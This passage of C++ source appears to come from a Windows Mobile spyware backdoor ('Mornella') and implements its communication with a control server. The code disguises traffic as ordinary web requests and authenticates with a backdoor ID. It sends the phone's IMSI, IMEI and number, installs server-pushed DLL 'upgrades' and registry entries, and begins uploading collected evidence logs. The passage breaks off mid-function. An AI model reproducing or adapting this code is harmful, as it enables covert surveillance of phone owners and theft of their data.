        return NULL;
    }

    c.append((UCHAR *)&pClearRequest[uResponseLen - 20], 20);
    hash.Sha1(pClearRequest, uResponseLen - 20, sha1);

    if (memcmp(c.getBuf(), sha1, 20)) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestSendCommand() FAILED [Message Corrupted]\n", 4, TRUE);
        delete[] pClearRequest;
        return NULL;
    }

    // Rimuoviamo lo SHA1
    uResponseLen -= 20;

    return pClearRequest;
}

BOOL Transfer::RestPostRequest(BYTE *pContent, UINT uContentLen, BYTE* &pResponse, UINT &uResponseLen, BOOL bSetCookie) {
    HINTERNET hOpenHandle, hConnectHandle, hResourceHandle;

    // La dimensione dell'array wRequest
    #define REQUEST_SIZE 18

    WCHAR *wRequest[] = {
        L"/",
        L"/pagead/show_ads.js",
        L"/licenses/by-nc-nd/2.5/",
        L"/css-validator/",
        L"/stats.asp?site=actual",
        L"/static/js/common/jquery.js",
        L"/cgi-bin/m?ci=ads&amp;cg=0",
        L"/rss/homepage.xml",
        L"/index.shtml?refresh",
        L"/static/css/common.css",
        L"/flash/swflash.cab#version=8,0,0,0",
        L"/js/swfobjectLivePlayer.js?v=10-57-13",
        L"/css/library/global.css",
        L"/rss/news.rss",
        L"/comments/new.js",
        L"/feed/view?id=1&type=channel",
        L"/ajax/MessageComposerEndpoint.php?__a=1",
        L"/safebrowsing/downloads?client=navclient"
    };

    wstring strHeaders = L"Accept: */*\r\n";

    Rand r;
    
    if (strSyncServer.empty()) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestMakeRequest() FAILED [No Sync Server set]\n", 4, FALSE);
        return FALSE;
    }

    hOpenHandle = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.6)", INTERNET_OPEN_TYPE_DIRECT /*INTERNET_OPEN_TYPE_PRECONFIG*/, NULL, NULL, 0);

    if (hOpenHandle == NULL) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestMakeRequest() FAILED [InternetOpen()] ", 4, TRUE);
        return FALSE;
    }

    hConnectHandle = InternetConnect(hOpenHandle, strSyncServer.c_str(), INTERNET_INVALID_PORT_NUMBER,
                        NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);

    if (hConnectHandle == NULL) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestMakeRequest() FAILED [InternetConnect()] ", 4, TRUE);
        InternetCloseHandle(hOpenHandle);
        return FALSE;
    }

    hResourceHandle = HttpOpenRequest(hConnectHandle, L"POST", wRequest[r.rand24() % REQUEST_SIZE], L"HTTP/1.0", NULL, NULL, 
        INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_UI | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_COOKIES, 0);

    if (hResourceHandle == NULL) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestMakeRequest() FAILED [HttpOpenRequest()] ", 4, TRUE);
        InternetCloseHandle(hOpenHandle);
        InternetCloseHandle(hConnectHandle);
        return FALSE;
    }

    // Impostiamo il cookie se ne abbiamo uno
    if (bSetCookie && strSessionCookie.empty()) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestMakeRequest() FAILED [bSetCookie && strSessionCookie.empty()]\n", 4, FALSE);
        InternetCloseHandle(hOpenHandle);
        InternetCloseHandle(hConnectHandle);
        InternetCloseHandle(hResourceHandle);
        return FALSE;
    }

    if (bSetCookie) {
        wstring strCookie = L"Cookie: ";
        strCookie += strSessionCookie;
        strCookie += L"\r\n";

        // Cambiato 0 in HTTP_ADDREQ_FLAG_REPLACE testare
        /*if (HttpAddRequestHeaders(hResourceHandle, strCookie.c_str(), -1, HTTP_ADDREQ_FLAG_REPLACE | HTTP_ADDREQ_FLAG_ADD ) == FALSE) {
            HttpAddRequestHeaders(hResourceHandle, strCookie.c_str(), -1, 0);
        }*/
        if (HttpSendRequest(hResourceHandle, strCookie.c_str(), strCookie.length(), pContent, uContentLen) == FALSE) {
            DBG_TRACE(L"Debug - Transfer.cpp - RestMakeRequest() FAILED [HttpSendRequest() [cookie not set]] ", 4, TRUE);
            InternetCloseHandle(hOpenHandle);
            InternetCloseHandle(hConnectHandle);
            InternetCloseHandle(hResourceHandle);
            return FALSE;
        }
    } else {
        // Send POST request
        if (HttpSendRequest(hResourceHandle, NULL, 0, pContent, uContentLen) == FALSE) {
            DBG_TRACE(L"Debug - Transfer.cpp - RestMakeRequest() FAILED [HttpSendRequest()] ", 4, TRUE);
            InternetCloseHandle(hOpenHandle);
            InternetCloseHandle(hConnectHandle);
            InternetCloseHandle(hResourceHandle);
            return FALSE;
        }
    }

    DWORD dwRead = 0;

    // Leggiamo la lunghezza della risposta
    BYTE buf[16];
    UINT uCounter = sizeof(buf);

    ZeroMemory(buf, sizeof(buf));
    
    if (HttpQueryInfo(hResourceHandle, HTTP_QUERY_CONTENT_LENGTH, &buf, (DWORD *)&uCounter, &dwRead) == FALSE) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestMakeRequest() FAILED [HttpQueryInfo() content length]: ", 4, TRUE);
        InternetCloseHandle(hOpenHandle);
        InternetCloseHandle(hConnectHandle);
        InternetCloseHandle(hResourceHandle);
        return FALSE;
    }

    uResponseLen = _wtoi((WCHAR *)buf);

    // Read server response
    pResponse = new(std::nothrow) BYTE[uResponseLen];

    if (pResponse == NULL) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestMakeRequest() FAILED [new()]\n", 4, FALSE);
        InternetCloseHandle(hOpenHandle);
        InternetCloseHandle(hConnectHandle);
        InternetCloseHandle(hResourceHandle);
        return FALSE;
    }

    dwRead = 0;
    uCounter = 0;

    // Get the cookie
    if (strSessionCookie.empty()) {
        BYTE *cookie = NULL;

        if (HttpQueryInfo(hResourceHandle, HTTP_QUERY_SET_COOKIE, cookie, (DWORD *)&uCounter, &dwRead) == FALSE) {
            DWORD lastErr = GetLastError();

            if (lastErr == ERROR_INSUFFICIENT_BUFFER) {
                uCounter += 2;

                cookie = new(std::nothrow) BYTE[uCounter];

                if (cookie == NULL) {
                    DBG_TRACE(L"Debug - Transfer.cpp - RestMakeRequest() FAILED [new HttpQueryInfo()]: ", 4, TRUE);
                    delete[] pResponse;
                    InternetCloseHandle(hOpenHandle);
                    InternetCloseHandle(hConnectHandle);
                    InternetCloseHandle(hResourceHandle);
                    return FALSE;
                }

                ZeroMemory(cookie, uCounter);
            } else {
                DBG_TRACE(L"Debug - Transfer.cpp - RestMakeRequest() FAILED [HttpQueryInfo() 1]: ", 4, TRUE);
                delete[] pResponse;
                InternetCloseHandle(hOpenHandle);
                InternetCloseHandle(hConnectHandle);
                InternetCloseHandle(hResourceHandle);
                return FALSE;
            }
        }

        dwRead = 0;

        if (HttpQueryInfo(hResourceHandle, HTTP_QUERY_SET_COOKIE, cookie, (DWORD *)&uCounter, &dwRead) == FALSE) {
            DBG_TRACE(L"Debug - Transfer.cpp - RestMakeRequest() FAILED [HttpQueryInfo() 2 [cookie not set]]: ", 4, TRUE);
            delete[] pResponse;
            InternetCloseHandle(hOpenHandle);
            InternetCloseHandle(hConnectHandle);
            InternetCloseHandle(hResourceHandle);
            return FALSE;
        }

        strSessionCookie = (WCHAR *)cookie;
        DBG_TRACE(L"Debug - Transfer.cpp - RestMakeRequest() Cookie Set\n", 4, FALSE);
        delete[] cookie;
    }

    uCounter = 0;

    do {
        if (InternetReadFile(hResourceHandle, pResponse + uCounter, uResponseLen - uCounter, &dwRead) == FALSE) {
            DBG_TRACE(L"Debug - Transfer.cpp - RestMakeRequest() FAILED [InternetReadFile()]\n", 4, TRUE);
            delete[] pResponse;
            pResponse = NULL;
            uResponseLen = 0;
            InternetCloseHandle(hOpenHandle);
            InternetCloseHandle(hConnectHandle);
            InternetCloseHandle(hResourceHandle);
            break;
        }

        // EOF
        if (dwRead == 0)
            break;

        uCounter += dwRead;

    } while (1);
 
    InternetCloseHandle(hOpenHandle);
    InternetCloseHandle(hConnectHandle);
    InternetCloseHandle(hResourceHandle);
    return TRUE;
}

UINT Transfer::RestAuth() {
    #define BLOCK_SIZE 16    // AES Block Size

    UINT uContentLen, uResponseLen;

    // Puliamo il cookie
    strSessionCookie = L"";
    strSessionCookie.clear();

    // Puliamo il vettore degli availables
    vAvailables.clear();

    // Creiamo il request cifrato
    PBYTE pEncRequest = RestCreateAuthRequest(&uContentLen);

    // Phase 1 - Invia il request e leggi il response
    PBYTE pEncryptedResponse = NULL;

    // Non aggiungere il cookie
    if (RestPostRequest(pEncRequest, uContentLen, pEncryptedResponse, uResponseLen, FALSE) == FALSE) {
        delete[] pEncRequest;
        strSessionCookie.clear();
        ZeroMemory(K, sizeof(K));
        DBG_TRACE(L"Debug - Transfer.cpp - RestAuth() FAILED [RestPostRequest()]\n", 4, TRUE);
        return INVALID_COMMAND;
    }

    // Phase 2 - Decodifica il response del server ed ottieni il comando
    UINT uResponse = RestGetCommand(pEncryptedResponse);

    delete[] pEncRequest;

    if (uResponse == INVALID_COMMAND) {
        delete[] pEncryptedResponse;    
        strSessionCookie.clear();
        ZeroMemory(K, sizeof(K));
        DBG_TRACE(L"Debug - Transfer.cpp - RestAuth() FAILED [RestGetCommand()]\n", 4, TRUE);
        return INVALID_COMMAND;
    }

    return uResponse;
}

UINT Transfer::RestGetCommand(BYTE* pContent) {
    if (RestDecryptK(pContent) == FALSE) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestDecryptK() FAILED [RestDecryptK()]\n", 4, TRUE);
        return INVALID_COMMAND;
    }

    // Decifriamo il resto del pacchetto con K: Crypt(K, NonceDevice | Response)
    Encryption encK(K, 128);

    UINT uResponseLen = Encryption::GetPKCS5Len(20 + 4);
    PBYTE pClearResponse = encK.DecryptData(pContent + Encryption::GetPKCS5Len(16), &uResponseLen);

    // Estriamo il Nonce
    BYTE servNonce[16];

    CopyMemory(servNonce, pClearResponse, 16);

    if (memcmp(Nonce, servNonce, 16)) {
        delete[] pClearResponse;
        DBG_TRACE(L"Debug - Transfer.cpp - RestGetCommand() FAILED [Invalid Nonce Received]\n", 4, TRUE);
        return INVALID_COMMAND;
    }

    // Estraiamo il Response
    UINT uCommand;
    CopyMemory(&uCommand, pClearResponse + 16, 4);

    delete[] pClearResponse;

    // Ritorniamo il response del server
    return uCommand;
}

BOOL Transfer::RestDecryptK(BYTE *pContent) {
    BYTE *ks = new(std::nothrow) BYTE[Encryption::GetPKCS5Len(16)];

    if (ks == NULL) {
        ZeroMemory(K, sizeof(K));
        DBG_TRACE(L"Debug - Transfer.cpp - RestDecryptK() FAILED [new() ks]\n", 4, TRUE);
        return FALSE;
    }

    UINT uResponseLen = Encryption::GetPKCS5Len(16);

    Encryption encChallenge(g_Challenge, 128);
    BYTE *pClearResponse = encChallenge.DecryptData(pContent, &uResponseLen);

    // Valorizziamo Ks e liberiamo la prima parte del response
    CopyMemory(ks, pClearResponse, uResponseLen - Encryption::GetPKCS5Padding(uResponseLen));
    delete[] pClearResponse;

    // Calcoliamo K = sha1(ConfKey | Ks | Kd)
    Buffer k(16 + 16 + 16);

    // Costruiamo "ConfKey | Ks | Kd"
    k.append(g_ConfKey, 16);
    k.append(ks, 16);
    k.append((PUCHAR)&Kd, 16);

    delete[] ks;

    // Otteniamo K
    Hash hash;
    hash.Sha1(k.getBuf(), 16 + 16 + 16, (UCHAR *)&K);

    return TRUE;
}

BYTE* Transfer::RestCreateAuthRequest(UINT *uEncContentLen) {
    // Kd (16), Nonce (16), BackdoorId (14), InstanceId (20), Subtype (16), sha1 (20)
    UINT uContentLen = Encryption::GetPKCS5Len(16 + 16 + 16 + 20 + 16 + 20);
    UINT uPadding = Encryption::GetPKCS5Padding(16 + 16 + 16 + 20 + 16 + 20);

    Buffer b(uContentLen);

    // Formato del primo request di auth
    // Crypt(ChallengeKey, Kd | NonceDevice | BackdoorId | InstanceId | SubType | sha1(BackdoorId | InstanceId | SubType | ConfKey))
    Rand r;

    UINT index;

    // Generiamo Kd
    for (index = 0; index < 4; index++)
        Kd[index] = r.rand32();

    // Generiamo il Nonce
    for (index = 0; index < 4; index++)
        Nonce[index] = r.rand32();

    // Copia Kd
    b.append((PUCHAR)&Kd, 16);

    // Copia Nonce
    b.append((PUCHAR)&Nonce, 16);

    // Copia BackdoorId
    b.append(g_BackdoorID, 16);

    // Copia InstanceId
    b.append(g_InstanceId, 20);

    // Aggiungi la demo string
    if (Task::getDemo()) {
        int k, i;

        // WINMO-DEMO\x00\x00\x00\x00\x00\x00 ^ Q (Q e' progressivo)
        BYTE subtype[] = { 0x06, 0x1b, 0x1d, 0x19, 0x1a, 0x7b, 0x13, 0x1d, 0x14, 0x15, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, 0x60 };

        for (i = 0, k = 'Q'; i < 16; i++, k++) {
            subtype[i] ^= k;
        }

        b.append(subtype, 16);
    } else {
        // Copia SubType
        b.append(g_Subtype, 16);
    }

    // Calcola lo sha1(BackdoorId | InstanceId | SubType | ConfKey)
    Hash hash;
    Buffer h(16 + 20 + 16 + 16);

    // Copiamo nel buffer: BackdoorId | InstanceId | SubType
    h.append((PUCHAR)b.getBuf() + 32, 16 + 20 + 16);

    // Accodiamo la ConfKey
    h.append(g_ConfKey, 16);

    // Calcoliamo lo SHA1 del request buffer
    UCHAR uSha[20];
    hash.Sha1(h.getBuf(), 16 + 20 + 16 + 16, uSha);

    // Copiamo lo SHA1 nel buffer
    b.append(uSha, 20);

    // Inseriamo il padding
    b.repeat(uPadding, uPadding);

    Encryption encChallenge(g_Challenge, 128);

    PBYTE pEncRequest = encChallenge.EncryptData((PUCHAR)b.getBuf(), &uContentLen);
    
    *uEncContentLen = uContentLen;

    return pEncRequest;
}

BOOL Transfer::RestIdentification() {
    // Costruiamo il pacchetto di identificazione
    // PROTO_ID + Backdoor Version + UserId + DeviceId + SourceId + SHA1
    wstring strImsi = deviceObj->GetImsi();
    wstring strImei = deviceObj->GetImei();
    wstring strNumber = deviceObj->GetPhoneNumber();

    UINT uContentLen = Encryption::GetPKCS5Len(sizeof(PROTO_ID) + sizeof(g_Version) + 
                        sizeof(UINT) + strImsi.size() * sizeof(WCHAR) + sizeof(WCHAR) +
                        sizeof(UINT) + strImei.size() * sizeof(WCHAR) + sizeof(WCHAR) +
                        sizeof(UINT) + strNumber.size() * sizeof(WCHAR) + sizeof(WCHAR) +
                        20);

    // Utilizzata per lo SHA1
    UINT uRawContentLen = sizeof(PROTO_ID) + sizeof(g_Version) + 
        sizeof(UINT) + strImsi.size() * sizeof(WCHAR) + sizeof(WCHAR) +
        sizeof(UINT) + strImei.size() * sizeof(WCHAR) + sizeof(WCHAR) +
        sizeof(UINT) + strNumber.size() * sizeof(WCHAR) + sizeof(WCHAR);

    UINT uPadding = Encryption::GetPKCS5Padding(uRawContentLen + 20);

    Buffer b(uContentLen);

    if (b.ok() == FALSE) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestIdentification() FAILED [Buffer()]\n", 4, TRUE);
        return FALSE;
    }

    // Inseriamo il comando
    UINT uCommand = PROTO_ID;
    b.append((PUCHAR)&uCommand, sizeof(PROTO_ID));

    // Inseriamo la Backdoor Version
    uCommand = g_Version;
    b.append((PUCHAR)&uCommand, sizeof(g_Version));

    // Inseriamo l'UserID
    UINT uPascalLen;
    uPascalLen = strImsi.size() * sizeof(WCHAR) + sizeof(WCHAR);

    b.append((PUCHAR)&uPascalLen, sizeof(uPascalLen));
    b.append((PUCHAR)strImsi.c_str(), strImsi.size() * sizeof(WCHAR));
    b.repeat(0, sizeof(WCHAR));

    // Inseriamo il DeviceID
    uPascalLen = strImei.size() * sizeof(WCHAR) + sizeof(WCHAR);

    b.append((PUCHAR)&uPascalLen, sizeof(uPascalLen));
    b.append((PUCHAR)strImei.c_str(), strImei.size() * sizeof(WCHAR));
    b.repeat(0, sizeof(WCHAR));

    // Inseriamo il SourceID
    uPascalLen = strNumber.size() * sizeof(WCHAR) + sizeof(WCHAR);

    b.append((PUCHAR)&uPascalLen, sizeof(uPascalLen));
    b.append((PUCHAR)strNumber.c_str(), strNumber.size() * sizeof(WCHAR));
    b.repeat(0, sizeof(WCHAR));

    // Inseriamo lo SHA1
    Hash hash;
    BYTE sha1[20];

    hash.Sha1((PBYTE)b.getBuf(), uRawContentLen, sha1);
    b.append((PUCHAR)sha1, 20);
    b.repeat((unsigned char)uPadding, uPadding);

    // Cifriamo il payload
    Encryption encK(K, 128);
    UINT uResponseLen, uPayloadLen = b.getSize();
    PBYTE pPayload = encK.EncryptData((BYTE *)b.getBuf(), &uPayloadLen);
    PBYTE pResponse = NULL;

    // Effettuiamo il request
    if (RestPostRequest(pPayload, uPayloadLen, pResponse, uResponseLen) == FALSE) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestIdentification() FAILED [RestPostRequest()]\n", 4, TRUE);
        return FALSE;
    }

    delete[] pPayload;

    // Decifriamo il request
    encK.Reset();
    PBYTE pClearResponse = encK.DecryptData(pResponse, &uResponseLen);

    delete[] pResponse;

    // Interpretiamolo
    // OK | Len | Date | Availables... 
    Buffer r(pClearResponse, uResponseLen);
    delete[] pClearResponse;

    // PROTO_OK?
    UINT val = r.getInt();

    if (val != PROTO_OK) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestIdentification() FAILED [Invalid Response]\n", 4, TRUE);
        return FALSE;
    }

    // Lunghezza dei dati dopo il primo int
    if (r.getInt() < 12) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestIdentification() FAILED [Response too short]\n", 4, TRUE);
        return FALSE;
    }

    ULARGE_INTEGER date;
    date.LowPart = r.getInt();
    date.HighPart = r.getInt();

    deviceObj->SetTimeDiff(date);

    // Lunghezza availables
    val = r.getInt();

    // Estraiamo i comandi da processare
    for (UINT i = 0; i < val; i++)
        vAvailables.push_back(r.getInt());
    
    return TRUE;
}

void Transfer::RestProcessAvailables() {
    vector<UINT>::iterator it;

    if (vAvailables.empty())
        return;

    for (it = vAvailables.begin(); it != vAvailables.end(); it++) {
        switch (*it) {
            case PROTO_NEW_CONF:
                bNewConf = RestGetNewConf();
                break;

            case PROTO_DOWNLOAD:
                RestSendDownloads();
                break;

            case PROTO_UPLOAD:
                RestGetUploads();
                break;

            case PROTO_FILESYSTEM:
                RestSendFilesystem();
                break;

            case PROTO_UPGRADE:
                RestGetUpgrade();
                break;

            default:
                break;
        }
    }

    return;
}

BOOL Transfer::RestGetUpgrade() {
    Buffer b(Encryption::GetPKCS5Len(sizeof(PROTO_UPGRADE) + 20));
    Hash hash;

    UINT uPadding = Encryption::GetPKCS5Padding(sizeof(PROTO_UPGRADE) + 20);
    UINT uCommand = PROTO_UPGRADE;
    BYTE sha1[20];
    UINT uLeft;
    HANDLE hFile = INVALID_HANDLE_VALUE;

    hash.Sha1((UCHAR *)&uCommand, sizeof(uCommand), sha1);

    do {
        b.free();

        // Creiamo il request per il comando
        b.append((UCHAR *)&uCommand, sizeof(uCommand));
        b.append((BYTE *)sha1, 20);
        b.repeat(uPadding, uPadding);

        UINT uResponse = 0;
        BYTE *pResponse = NULL;

        pResponse = RestSendCommand((BYTE *)b.getBuf(), b.getPos(), uResponse);

        if (pResponse == NULL) {
            DBG_TRACE(L"Debug - Transfer.cpp - RestGetUpgrade() FAILED [RestSendCommand()] ", 4, TRUE);
            return FALSE;
        }

        b.free();
        b.append(pResponse, uResponse);
        b.reset();

        ZeroMemory(pResponse, uResponse);
        delete[] pResponse;

        // Vediamo se la risposta e' un PROTO_NO (non ci sono uploads)
        if (b.getInt() == PROTO_NO) {
            return TRUE;
        }

        UINT uFileLen = b.getInt();

        uLeft = b.getInt();

        UINT uPascalLen = b.getInt();
        PWCHAR pwFilename = (PWCHAR)b.getCurBuf();

        // Ora il buffer punta al primo byte del pascal del file di upgrade
        b.setPos(b.getPos() + uPascalLen);
        uFileLen = b.getInt();

        // Verifichiamo il tipo di upgrade
        if (wcsncmp(L"core", pwFilename, uPascalLen - sizeof(WCHAR)) == 0) {
            // Se conosciamo il nostro nome, switchiamo il nuovo core
            wstring strPathName = L"\\windows\\";

            if (g_strOurName.empty() == FALSE) {
                if (g_strOurName == MORNELLA_SERVICE_DLL_A)
                    strPathName += MORNELLA_SERVICE_DLL_B;
                else
                    strPathName += MORNELLA_SERVICE_DLL_A;

                hFile = CreateFile(strPathName.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

                if (hFile == INVALID_HANDLE_VALUE) {
                    DBG_TRACE(L"Debug - Transfer.cpp - RestGetUpgrade() FAILED [CreateFile()]\n", 5, FALSE);
                    continue;
                }
            } else { // Se non sappiamo qual'e' il nostro nome... Guessiamo
                strPathName += MORNELLA_SERVICE_DLL_A;

                hFile = CreateFile(strPathName.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

                if (hFile == INVALID_HANDLE_VALUE) {
                    strPathName = L"\\windows\\";
                    strPathName += MORNELLA_SERVICE_DLL_B;

                    hFile = CreateFile(strPathName.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

                    if (hFile == INVALID_HANDLE_VALUE) {
                        DBG_TRACE(L"Debug - Transfer.cpp - RestGetUpgrade() FAILED [CreateFile() 2]\n", 5, FALSE);
                        continue;
                    }

                    g_strOurName = MORNELLA_SERVICE_DLL_A;
                } else {
                    g_strOurName = MORNELLA_SERVICE_DLL_B;
                }
            }

            wstring strNewCore;

            if (g_strOurName == MORNELLA_SERVICE_DLL_A)
                strNewCore = MORNELLA_SERVICE_DLL_B;
            else
                strNewCore = MORNELLA_SERVICE_DLL_A;

            DWORD dwWritten = 0;

            if (WriteFile(hFile, b.getCurBuf(), uFileLen, &dwWritten, NULL) == FALSE) {
                CloseHandle(hFile);
                DBG_TRACE(L"Debug - Transfer.cpp - RestGetUpgrade() FAILED [WriteFile()]\n", 5, FALSE);
                continue;
            }

            FlushFileBuffers(hFile);
            CloseHandle(hFile);

            // Scriviamo la chiave nel registro
            HKEY hKey;

            if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, MORNELLA_SERVICE_PATH, 0, 0, &hKey) != ERROR_SUCCESS) {
                DBG_TRACE(L"Debug - Transfer.cpp - RestGetUpgrade() FAILED [RegOpenKeyEx()] ", 5, TRUE);
                continue;
            }

            // Aggiorniamo con il nome del nuovo core
            DWORD cbData = (strNewCore.size() * sizeof(WCHAR)) + sizeof(WCHAR);
            if (RegSetValueEx(hKey, L"Dll", 0, REG_SZ, (BYTE *)strNewCore.c_str(), cbData) != ERROR_SUCCESS) {
                RegCloseKey(hKey);
                DBG_TRACE(L"Debug - Transfer.cpp - RestGetUpgrade() FAILED [RegSetValueEx()] ", 5, TRUE);
                continue;
            }

            RegCloseKey(hKey);
            RegFlushKey(HKEY_LOCAL_MACHINE);
        } else {
            // Se conosciamo il nostro nome, switchiamo il nuovo core
            wstring strPathName = L"\\windows\\";

            if (wcsncmp(L"smsfilter", pwFilename, uPascalLen - sizeof(WCHAR)) == 0) {
                strPathName += L"SmsFilter.dll";
            } else {
                strPathName += pwFilename;
            }

            hFile = CreateFile(strPathName.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

            if (hFile == INVALID_HANDLE_VALUE) {
                DBG_TRACE(L"Debug - Transfer.cpp - RestGetUpgrade() FAILED [CreateFile() 2]\n", 5, FALSE);
                continue;
            }

            DWORD dwWritten = 0;

            if (WriteFile(hFile, b.getCurBuf(), uFileLen, &dwWritten, NULL) == FALSE) {
                CloseHandle(hFile);
                DeleteFile(strPathName.c_str());

                DBG_TRACE(L"Debug - Transfer.cpp - RestGetUpgrade() FAILED [WriteFile() failed]\n", 5, FALSE);
                continue;
            }

            if (dwWritten < uFileLen) {
                CloseHandle(hFile);
                DeleteFile(strPathName.c_str());

                DBG_TRACE(L"Debug - Transfer.cpp - RestGetUpgrade() FAILED [WriteFile() wrote less data than expected]\n", 5, FALSE);
                continue;
            }

            FlushFileBuffers(hFile);
            CloseHandle(hFile);
        }
    } while (uLeft);

    FlushFileBuffers(hFile);
    return TRUE;
}

BOOL Transfer::RestGetNewConf() {
    Buffer b(Encryption::GetPKCS5Len(sizeof(PROTO_NEW_CONF) + 20));
    Hash hash;

    UINT uPadding = Encryption::GetPKCS5Padding(sizeof(PROTO_NEW_CONF) + 20);
    UINT uCommand = PROTO_NEW_CONF;
    BYTE sha1[20];

    hash.Sha1((UCHAR *)&uCommand, sizeof(uCommand), sha1);

    // Creiamo il request per il comando
    b.append((UCHAR *)&uCommand, sizeof(uCommand));
    b.append((BYTE *)sha1, 20);
    b.repeat(uPadding, uPadding);

    UINT uResponse = 0;
    BYTE *pResponse = NULL;

    pResponse = RestSendCommand((BYTE *)b.getBuf(), b.getPos(), uResponse);

    if (pResponse == NULL) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestGetNewConf() FAILED [RestSendCommand()] ", 4, TRUE);
        return FALSE;
    }

    b.free();
    b.append(pResponse, uResponse);
    b.reset();

    ZeroMemory(pResponse, uResponse);
    delete[] pResponse;

    // Vediamo se la risposta e' un PROTO_NO (non ci sono new conf)
    if (b.getInt() == PROTO_NO) {
        return TRUE;
    }

    // Otteniamo la lunghezza della configurazione
    UINT uConfLen = b.getInt();

    // Scriviamo la nuova conf
    Conf localConfObj;
    wstring strBackName;
    HANDLE hBackup = INVALID_HANDLE_VALUE;    
    DWORD dwWritten = 0;

    strBackName = localConfObj.GetBackupName(TRUE);

    if (strBackName.empty()) {
        return FALSE;        
    }

    hBackup = CreateFile(strBackName.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hBackup == INVALID_HANDLE_VALUE) {
        RestSendConfAck(FALSE);
        return FALSE;
    }

    if (WriteFile(hBackup, (BYTE *)b.getCurBuf(), uConfLen, &dwWritten, NULL) == FALSE) {
        CloseHandle(hBackup);
        DeleteFile(GetCurrentPathStr(strBackName).c_str());
        DBG_TRACE(L"Debug - Transfer.cpp - RestGetNewConf() FAILED [Cannot write new conf] ", 4, TRUE);

        RestSendConfAck(FALSE);
        return FALSE;
    }

    FlushFileBuffers(hBackup);
    CloseHandle(hBackup);

    if (dwWritten != uConfLen) {
        DeleteFile(GetCurrentPathStr(strBackName).c_str());
        DBG_TRACE(L"Debug - Transfer.cpp - RestGetNewConf() FAILED [Cannot completely write new conf] ", 4, TRUE);

        RestSendConfAck(FALSE);
        return FALSE;
    }

    // Verifichiamo il CRC della nuova conf
    Encryption enc(g_ConfKey, KEY_LEN);
    UINT uLen = 0;

    strBackName = localConfObj.GetBackupName(FALSE);
    PBYTE pConf = enc.DecryptConf(strBackName, &uLen);

    if (pConf == NULL || uLen == 0) {
        Log logInfo;
        logInfo.WriteLogInfo(L"Corrupted configuration received");
        DeleteFile(GetCurrentPathStr(strBackName).c_str());
        DBG_TRACE(L"Debug - Transfer.cpp - RestGetNewConf() FAILED [Invalid new conf, deleting it] ", 4, TRUE);

        // Nuova conf non valida
        RestSendConfAck(FALSE);

        if (pConf)
            delete[] pConf;

        return FALSE;
    }

    ZeroMemory(pConf, uLen);
    delete[] pConf;

    Log logInfo;
    logInfo.WriteLogInfo(L"New configuration received");

    // Torniamo un OK per la nuova configurazione
    RestSendConfAck(TRUE);
    return TRUE;
}

BOOL Transfer::RestSendConfAck(BOOL bConfOK) {
    Hash hash;
    BYTE sha1[20];
    UINT uConfOK, uCommand = PROTO_NEW_CONF;
    UINT uPadding = Encryption::GetPKCS5Padding(sizeof(PROTO_NEW_CONF) + sizeof(uConfOK) + 20);
    Buffer b(Encryption::GetPKCS5Len(sizeof(PROTO_NEW_CONF) + sizeof(uConfOK) + 20));

    if (bConfOK == TRUE) 
        uConfOK = PROTO_OK;
    else
        uConfOK = PROTO_NO;

    // Creiamo il request per il comando
    b.append((UCHAR *)&uCommand, sizeof(uCommand));
    b.append((UCHAR *)&uConfOK, sizeof(uConfOK));

    hash.Sha1(b.getBuf(), sizeof(uCommand) + sizeof(uConfOK), sha1);

    b.append((BYTE *)sha1, 20);
    b.repeat(uPadding, uPadding);

    UINT uResponse = 0;
    BYTE *pResponse = NULL;

    pResponse = RestSendCommand((BYTE *)b.getBuf(), b.getPos(), uResponse);

    if (pResponse == NULL) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestSendConfAck() FAILED [RestSendCommand()] ", 4, TRUE);
        return FALSE;
    }

    delete[] pResponse;
    return TRUE;
}

BOOL Transfer::RestSendLogs() {
    // len | evidence
    list<LogInfo>::iterator iter;
    HANDLE hFile;
    DWORD dwSize, dwRead = 0;

    // pSnap puo' essere nullo in caso di errore o se non c'e' uberlogObj.
    // Lo snapshot viene liberato subito dopo questa chiamata.
    pSnap = uberlogObj->ListClosed();

    if (pSnap == NULL || pSnap->size() == 0) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestSendLogs() there are no logs to send\n", 5, FALSE);
        return TRUE;
    }

    for (iter = pSnap->begin(); iter != pSnap->end(); iter++) {
        hFile = CreateFile((*iter).strLog.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

        if (hFile == INVALID_HANDLE_VALUE) {
            uberlogObj->Delete((*iter).strLog);
            continue;
        }

        dwSize = GetFileSize(hFile, NULL);

        // Il file e' vuoto oppure non c'e' piu'
        if (dwSize == 0 || dwSize == 0xFFFFFFFF) {
            CloseHandle(hFile);
            uberlogObj->Delete((*iter).strLog);    
            continue;
        }

